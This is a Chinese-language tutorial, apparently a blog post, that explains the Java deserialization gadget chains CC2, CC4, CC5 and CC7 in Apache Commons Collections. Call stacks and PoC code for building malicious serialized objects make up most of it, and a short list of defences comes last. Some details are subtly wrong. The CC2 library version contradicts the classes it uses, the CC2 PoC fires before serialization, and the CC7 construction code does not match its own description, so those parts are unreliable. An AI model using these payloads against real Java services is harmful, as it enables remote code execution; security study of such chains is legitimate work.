CC4_CC2_CC5_CC7
字数 3573 2025-10-29 23:25:25

Apache Commons Collections 反序列化漏洞利用链(CC2/CC4/CC5/CC7)深入解析

文档说明

目标读者: 已具备Java反序列化基础知识,了解CC1和CC3利用链的安全研究人员、渗透测试人员及Java开发者。
教学目的: 深入理解CC2、CC4、CC5、CC7利用链的触发起点、核心组件、构造技巧及差异点,掌握漏洞挖掘与防御方法。
环境依赖

  • Commons Collections 4.0 (用于CC4)
  • Commons Collections 3.1 (用于CC2, CC5, CC7)
  • JDK 8u65 或类似版本(需低于JDK 8u71以避开sun.reflect.annotation.AnnotationInvocationHandler的修复)

第一章:CC4 利用链分析

CC4是CC2与CC3的“结合体”,它主要在Commons Collections 4.0版本中利用PriorityQueueTransformingComparator来触发执行。

1.1 核心组件

  • 触发类: java.util.PriorityQueue
    • 该类在反序列化时会调用readObject方法,并执行heapify()来重建堆结构。
  • 比较器: org.apache.commons.collections4.comparators.TransformingComparator
    • 在比较时调用其compare方法,进而调用内部Transformertransform方法。
  • Transformer链: org.apache.commons.collections4.functors.ChainedTransformer
    • 用于将多个Transformer连接起来,按顺序执行。
  • 代码执行器: org.apache.commons.collections4.functors.InstantiateTransformer
    • 通过反射实例化对象,结合TemplatesImpl实现字节码加载。

1.2 利用链调用栈

PriorityQueue.readObject()
  -> heapify()
    -> siftDown()
      -> siftDownUsingComparator()
        -> comparator.compare() // TransformingComparator.compare()
          -> this.transformer.transform() // ChainedTransformer.transform()
            -> InstantiateTransformer.transform() // 触发TemplatesImpl.newTransformer()
              -> ... // 后续同CC3,执行恶意字节码

1.3 构造过程与关键点

  1. 构造恶意TemplatesImpl:与CC3完全相同,通过反射设置_name_bytecodes等字段,加载恶意类字节码。
  2. 构造ChainedTransformer
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(TrAXFilter.class), // 传入目标类
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // 实例化TrAXFilter,其构造函数会调用TemplatesImpl.newTransformer()
    };
    ChainedTransformer chain = new ChainedTransformer(transformers);
    
  3. 设置TransformingComparator
    TransformingComparator comparator = new TransformingComparator(chain);
    
  4. 配置PriorityQueue
    • 关键问题:在add元素时就会调用compare,导致序列化前就触发代码执行。
    • 解决方案(惰性赋值)
      • 先用一个无害的Transformer(如new ConstantTransformer(1))初始化TransformingComparator
      • 通过priorityQueue.add(1); priorityQueue.add(2);添加两个元素,确保队列有足够大小(size>=2)以使heapify中的循环(size >>> 1) - 1能执行。
      • 在添加元素后,再通过反射将TransformingComparator内部的transformer字段替换为恶意的ChainedTransformer
    // 先使用无害Transformer
    TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
    PriorityQueue queue = new PriorityQueue(comparator);
    queue.add(1);
    queue.add(2);
    
    // 通过反射替换为恶意Transformer
    Field transformerField = TransformingComparator.class.getDeclaredField("transformer");
    transformerField.setAccessible(true);
    transformerField.set(comparator, chain); // 替换为恶意的chain
    

1.4 完整POC代码(核心逻辑)

// 1. 构造TemplatesImpl(同CC3)
TemplatesImpl templates = ...;
// 2. 构造Transformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 3. 构造Comparator并设置PriorityQueue(使用惰性赋值)
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(comparator);
queue.add(1);
queue.add(2);
// 4. 反射替换Transformer
Field transformerField = TransformingComparator.class.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(comparator, chain);
// 5. 序列化/反序列化触发
serialize(queue);
unserialize("ser.bin");

第二章:CC2 利用链分析

CC2利用java.util.PriorityQueueorg.apache.commons.collections4.comparators.TransformingComparator,但代码执行方式不同。

2.1 与CC4的区别

  • Commons Collections版本:CC2使用3.1版本,因此包路径为org.apache.commons.collections.functorsorg.apache.commons.collections.comparators
  • 代码执行方式:CC2利用InvokerTransformer直接调用TemplatesImplnewTransformer方法,而非InstantiateTransformer

2.2 利用链调用栈

PriorityQueue.readObject()
  -> heapify()
    -> siftDown()
      -> siftDownUsingComparator()
        -> comparator.compare() // TransformingComparator.compare()
          -> this.transformer.transform() // ChainedTransformer.transform()
            -> InvokerTransformer.transform() // 反射调用TemplatesImpl.newTransformer()
              -> TemplatesImpl.newTransformer() // 触发恶意字节码执行

2.3 完整POC(核心逻辑)

TemplatesImpl templates = ...; // 构造同CC3

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null) // 直接调用newTransformer方法
};
ChainedTransformer chain = new ChainedTransformer(transformers);

TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(comparator);
queue.add(1);
queue.add(2);

// 序列化/反序列化触发

第三章:CC5 利用链分析

CC5通过BadAttributeValueExpExceptionreadObject方法触发TiedMapEntrygetValue,进而触发LazyMap.get

3.1 核心组件

  • 触发类: javax.management.BadAttributeValueExpException
    • 反序列化时直接调用this.val.toString()
  • 桥梁类: org.apache.commons.collections.keyvalue.TiedMapEntry
    • toString方法调用getValue(),进而调用this.map.get(this.key)
  • 触发Map: org.apache.commons.collections.map.LazyMap
    • get方法找不到key时,会调用this.factory.transform()

3.2 利用链调用栈

BadAttributeValueExpException.readObject()
  -> val.toString() // TiedMapEntry.toString()
    -> this.getValue() // TiedMapEntry.getValue()
      -> this.map.get() // LazyMap.get()
        -> this.factory.transform() // ChainedTransformer.transform()
          -> ... // 后续Transformer链执行

3.3 构造关键点

  • 需要设置BadAttributeValueExpExceptionval字段为TiedMapEntry实例。
  • TiedMapEntrymap需为LazyMap,且其factory为恶意的ChainedTransformer
  • 需通过反射设置LazyMapfactory,避免在构造时触发。

3.4 POC代码(核心逻辑)

Transformer[] transformers = ...; // 构造Transformer链(如CC1)
ChainedTransformer chain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain); // 设置LazyMap的factory为chain

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // key为"foo",确保LazyMap.get()触发transform

BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(bad, entry); // 通过反射设置val字段,避免构造函数检查

第四章:CC7 利用链分析

CC7利用Hashtable的反序列化机制,通过其reconstitutionPut方法触发AbstractMap.equals,进而触发LazyMap.get

4.1 核心组件

  • 触发类: java.util.Hashtable
    • 反序列化时对每个键值对执行reconstitutionPut,会调用key.equals()
  • 桥梁类: org.apache.commons.collections.map.AbstractMapDecorator
    • equals方法会调用this.map.equals(),进而触发LazyMap.get

4.2 利用链调用栈

Hashtable.readObject()
  -> reconstitutionPut()
    -> key.equals() // AbstractMapDecorator.equals()
      -> this.map.equals() // LazyMap.equals()
        -> this.get() // 在equals比较过程中触发LazyMap.get()
          -> this.factory.transform() // ChainedTransformer.transform()
            -> ... // 执行恶意代码

4.3 构造过程

  1. 创建两个LazyMap实例(map1, map2),其factory为恶意ChainedTransformer
  2. 创建两个AbstractMapDecorator(或直接使用LazyMap)作为key,分别放入两个Hashtable
  3. 通过反射交换两个LazyMap的key,使equals比较时触发get

4.4 完整POC(核心逻辑)

Transformer[] transformers = ...; // 构造Transformer链
ChainedTransformer chain = new ChainedTransformer(transformers);

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);

// 设置两个不同的key
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);

// 创建Hashtable并添加键值对
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");

// 通过反射交换两个LazyMap的key,使equals时触发get
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap1, chain); // 确保factory已设置

// 序列化/反序列化触发

第五章:总结与对比

利用链 触发类 关键Transformer 版本 特点
CC2 PriorityQueue InvokerTransformer CC 3.1 直接反射调用,简洁高效
CC4 PriorityQueue InstantiateTransformer CC 4.0 结合CC3的字节码加载方式
CC5 BadAttributeValueExpException LazyMap + ChainedTransformer CC 3.1 利用异常类触发,依赖较少
CC7 Hashtable LazyMap + ChainedTransformer CC 3.1 通过Map的equals方法触发,构造复杂

防御建议

  1. 升级Commons Collections:使用最新版本(如4.4+),其中已修复这些反序列化问题。
  2. 全局反序列化过滤:使用ObjectInputFilter设置白名单,限制反序列化的类。
  3. 代码安全审计:检查所有反序列化入口点,避免不可信数据流入。

以上即为CC2、CC4、CC5、CC7利用链的完整教学文档。重点在于理解每条链的触发起点、核心组件的串联方式以及构造时的关键技巧(如惰性赋值、反射修改字段等)。

Apache Commons Collections 反序列化漏洞利用链(CC2/CC4/CC5/CC7)深入解析 文档说明 目标读者 : 已具备Java反序列化基础知识,了解CC1和CC3利用链的安全研究人员、渗透测试人员及Java开发者。 教学目的 : 深入理解CC2、CC4、CC5、CC7利用链的触发起点、核心组件、构造技巧及差异点,掌握漏洞挖掘与防御方法。 环境依赖 : Commons Collections 4.0 (用于CC4) Commons Collections 3.1 (用于CC2, CC5, CC7) JDK 8u65 或类似版本(需低于JDK 8u71以避开 sun.reflect.annotation.AnnotationInvocationHandler 的修复) 第一章:CC4 利用链分析 CC4是CC2与CC3的“结合体”,它主要在Commons Collections 4.0版本中利用 PriorityQueue 和 TransformingComparator 来触发执行。 1.1 核心组件 触发类 : java.util.PriorityQueue 该类在反序列化时会调用 readObject 方法,并执行 heapify() 来重建堆结构。 比较器 : org.apache.commons.collections4.comparators.TransformingComparator 在比较时调用其 compare 方法,进而调用内部 Transformer 的 transform 方法。 Transformer链 : org.apache.commons.collections4.functors.ChainedTransformer 用于将多个Transformer连接起来,按顺序执行。 代码执行器 : org.apache.commons.collections4.functors.InstantiateTransformer 通过反射实例化对象,结合 TemplatesImpl 实现字节码加载。 1.2 利用链调用栈 1.3 构造过程与关键点 构造恶意TemplatesImpl :与CC3完全相同,通过反射设置 _name 、 _bytecodes 等字段,加载恶意类字节码。 构造ChainedTransformer : 设置TransformingComparator : 配置PriorityQueue : 关键问题:在 add 元素时就会调用 compare ,导致序列化前就触发代码执行。 解决方案(惰性赋值) : 先用一个无害的Transformer(如 new ConstantTransformer(1) )初始化 TransformingComparator 。 通过 priorityQueue.add(1); priorityQueue.add(2); 添加两个元素,确保队列有足够大小(size>=2)以使 heapify 中的循环 (size >>> 1) - 1 能执行。 在添加元素后,再通过反射将 TransformingComparator 内部的 transformer 字段替换为恶意的 ChainedTransformer 。 1.4 完整POC代码(核心逻辑) 第二章:CC2 利用链分析 CC2利用 java.util.PriorityQueue 和 org.apache.commons.collections4.comparators.TransformingComparator ,但代码执行方式不同。 2.1 与CC4的区别 Commons Collections版本 :CC2使用3.1版本,因此包路径为 org.apache.commons.collections.functors 和 org.apache.commons.collections.comparators 。 代码执行方式 :CC2利用 InvokerTransformer 直接调用 TemplatesImpl 的 newTransformer 方法,而非 InstantiateTransformer 。 2.2 利用链调用栈 2.3 完整POC(核心逻辑) 第三章:CC5 利用链分析 CC5通过 BadAttributeValueExpException 的 readObject 方法触发 TiedMapEntry 的 getValue ,进而触发 LazyMap.get 。 3.1 核心组件 触发类 : javax.management.BadAttributeValueExpException 反序列化时直接调用 this.val.toString() 。 桥梁类 : org.apache.commons.collections.keyvalue.TiedMapEntry 其 toString 方法调用 getValue() ,进而调用 this.map.get(this.key) 。 触发Map : org.apache.commons.collections.map.LazyMap 当 get 方法找不到key时,会调用 this.factory.transform() 。 3.2 利用链调用栈 3.3 构造关键点 需要设置 BadAttributeValueExpException 的 val 字段为 TiedMapEntry 实例。 TiedMapEntry 的 map 需为 LazyMap ,且其 factory 为恶意的 ChainedTransformer 。 需通过反射设置 LazyMap 的 factory ,避免在构造时触发。 3.4 POC代码(核心逻辑) 第四章:CC7 利用链分析 CC7利用 Hashtable 的反序列化机制,通过其 reconstitutionPut 方法触发 AbstractMap.equals ,进而触发 LazyMap.get 。 4.1 核心组件 触发类 : java.util.Hashtable 反序列化时对每个键值对执行 reconstitutionPut ,会调用 key.equals() 。 桥梁类 : org.apache.commons.collections.map.AbstractMapDecorator 其 equals 方法会调用 this.map.equals() ,进而触发 LazyMap.get 。 4.2 利用链调用栈 4.3 构造过程 创建两个 LazyMap 实例(map1, map2),其 factory 为恶意 ChainedTransformer 。 创建两个 AbstractMapDecorator (或直接使用 LazyMap )作为key,分别放入两个 Hashtable 。 通过反射交换两个 LazyMap 的key,使 equals 比较时触发 get 。 4.4 完整POC(核心逻辑) 第五章:总结与对比 | 利用链 | 触发类 | 关键Transformer | 版本 | 特点 | |--------|--------|------------------|------|------| | CC2 | PriorityQueue | InvokerTransformer | CC 3.1 | 直接反射调用,简洁高效 | | CC4 | PriorityQueue | InstantiateTransformer | CC 4.0 | 结合CC3的字节码加载方式 | | CC5 | BadAttributeValueExpException | LazyMap + ChainedTransformer | CC 3.1 | 利用异常类触发,依赖较少 | | CC7 | Hashtable | LazyMap + ChainedTransformer | CC 3.1 | 通过Map的equals方法触发,构造复杂 | 防御建议 升级Commons Collections :使用最新版本(如4.4+),其中已修复这些反序列化问题。 全局反序列化过滤 :使用 ObjectInputFilter 设置白名单,限制反序列化的类。 代码安全审计 :检查所有反序列化入口点,避免不可信数据流入。 以上即为CC2、CC4、CC5、CC7利用链的完整教学文档。重点在于理解每条链的触发起点、核心组件的串联方式以及构造时的关键技巧(如惰性赋值、反射修改字段等)。